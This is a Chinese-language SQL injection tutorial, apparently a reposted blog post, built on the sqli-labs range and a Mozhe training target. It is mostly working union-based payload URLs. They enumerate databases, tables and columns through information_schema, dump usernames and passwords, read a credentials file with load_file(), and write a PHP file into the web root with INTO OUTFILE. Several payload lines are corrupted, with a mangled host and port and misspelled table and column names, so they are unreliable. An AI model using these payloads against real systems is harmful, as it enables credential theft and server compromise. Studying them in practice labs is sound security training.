
1. 簡單案例
1.1 簡易代碼分析SQL注入原理

http://localhost:8085/sqli-labs/Less-2/index.php?id=2

id=2 正常查詢
http://localhost:8085/sqli-labs/Less-2/index.php?id=-2

id=-2的話什么都查不出來,表中沒有負數的 id,
http://localhost:8085/sqli-labs/Less-2/index.php?id=-2%20union%20select%201,%20email_id,%203%20from%20emails

用union查詢郵箱就查出來了,
問題

1、2、3、4都可能注入,

b、c正確,
:::warning
a 注入的是引數 y
d 注入的是 引數 xx
只要 b 和 c 注入引數 x
:::
1.2 Sqlilabs注入靶場搭建簡要使用
sqli-labs下載地址: https://github.com/Audi-1/sqli-labs
phpstudy下載地址:https://www.xp.cn/
注意:sqli-labs要在php5.x版本使用,7.x版本不能用,在phpstudy中切換成php5.x的版本,
1.3 墨者靶機真實MYSQL注入演示
如何判斷注入點?
老辦法:
- and 1=1頁面正常
- and 1=2 頁面錯誤
那么可能存在注入點,
SELECT * FROM users WHERE id = 1 and 1 = 1 LIMIT 0, 1 正常
SELECT * FROM users WHERE id = 1 and 1 = 2 LIMIT 0, 1 錯誤
要選用最舒服的方法測驗,
新方法:
- 猜解列名數量(欄位數):用 order by
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 4 正常
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 5 錯誤
第一個報錯的列數是5,那么就有4列,
- union注入
union注入前后兩條陳述句欄位數相同,不然報錯,
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 union select 1, 2, 3, 4
將id=-1,前面的查詢就不會成功
http://localhost:8085/sqli-labs/Less-2/index.php?id=-1 union select 1, 2, 3, 4
網頁顯示的數字是就是回顯位置 ,1、2、3、4 其中的幾個或一個,
資訊收集
- 資料庫版本:version()
- 資料庫名字:database()
- 資料庫用戶:user()
- 作業系統:@@version_compile_os
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, version(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, database(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, user(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, @@version_compile_os, 2, 3, 4

知識點:
- 在MySQL5.0以上版本中,MySQL存在一個自帶資料庫名為information_schema,它是一個存盤記錄有所有資料庫名,表名,列名的資料庫,也相當于可以通過查詢它獲取指定資料庫下面的表名或列名資訊,
- 資料庫中符號“.“代表下一級,如xiao.urer表示xiao資料庫下的user表名
information_schema.tables: 記錄所有表名資訊的表
information_schema.colums: 記錄所有列名資訊的表
table_name: 表名
colunn_nane: 列名
table_schema: 資料庫名
當前 mysql 實體中所有資料庫的資訊,SHOW DATABASES; 命令從這個表獲取資料,
mysql> use information_schema;
Database changed
mysql> SELECT * FROM SCHEMATA;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def | mysql | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
| def | information_schema | utf8 | utf8_general_ci | NULL | NO |
| def | performance_schema | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO
|
| def | sys | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO
|
|
| def | security | gbk | gbk_chinese_ci | NULL | NO
|
| def | challenges | gbk | gbk_chinese_ci | NULL | NO
|
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
6 rows in set (0.00 sec)
所以查出資料庫名后,根據資料庫名在information_schem資料庫中的tables中查表名和在columns中查列名,
查詢指定資料庫名mozhe_Discuz_stormGroup下的表名資訊:
http://219.153.49.228:48354/new_list.php?id=-1 union select
1,group_concat (table_name),3,4 from information_schema.tables
where table_schema='mozhe_Discuz_StormGroup'

查詢指定表名stozmGzoup_member下的列名資訊:
http://219.153.49.228148354/new_list.php?id=-1 union select
1,group_concat(column_name),3,4 from
Information_schema.colums where
table_name='StormGroup_member'

查詢指定資料
http://219.153.49.228148354/new_list.php?id=-1 union
select 1,name,password,4 from StormGroup_member

猜解多個資料可以采用limit x, 1 變動猜解,
2. 高權限注入及低權限注入
root用戶有最高權限,一般用戶只有自己管理的資料庫權限,
2.1 跨庫查詢及應用思路
- 低版本注入配合讀取或暴力,用SQLmap 字典或讀取
- 高版本MySQL:information_schema表特性,記錄庫名,表名,列名對應表,
- 獲取所有資料庫名:
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1, schema_name, 3 from information_schema.schemata

只有一個資料庫名,查詢陳述句最后有limit 0, 1,所以只能查一條資料,用group_concat查出所有庫名,
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1, group_concat(schema_name), 3 from information_schema.schemata

- 獲取bookstore資料庫的表名
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1, group_concat(table_name), 3 from information_schema.tables
where table_schema = 'bookstore'

- 獲取user表的列名
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union select
1,group_concat(column_name),3 from information_schema.columns
where table_name='user'

- 獲取username和password
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1,username,password from bookstore.user where user.id = 3

2.2 檔案讀寫操作
常見讀取檔案串列:
- load_file():讀取函式
- into outfile 或 into dumpfile:匯出函式
2.2.2.1 讀取操作
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1,load_file("D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\sql-connections\\db-creds.inc"),3

可以看到在查看網頁源代碼頁面中有組態檔內容,
注意:本地MySQL要有檔案讀寫權限,
在MySQL的組態檔my.ini中加上secure_file_priv='',然后重啟MySQL服務即可,
2.2.2.2 寫入操作
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 'Hello', 'World', '!'
into outfile 'D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\hello.php'--+


成功寫入內容
2.3 路徑獲取常見方法
- 報錯顯示

- 遺留檔案
- 漏洞報錯
- 平臺組態檔
- 爆破
2.4 常見寫入檔案問題
魔術引號開關 magic_quote_gpc
- 將檔案路徑和檔案名轉為HEX,輸入進load_file函式括號中,
魔術引號及常見防護
- 將注入 id 中的 select 等關鍵字替換成其他字符,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/549153.html
標籤:其他
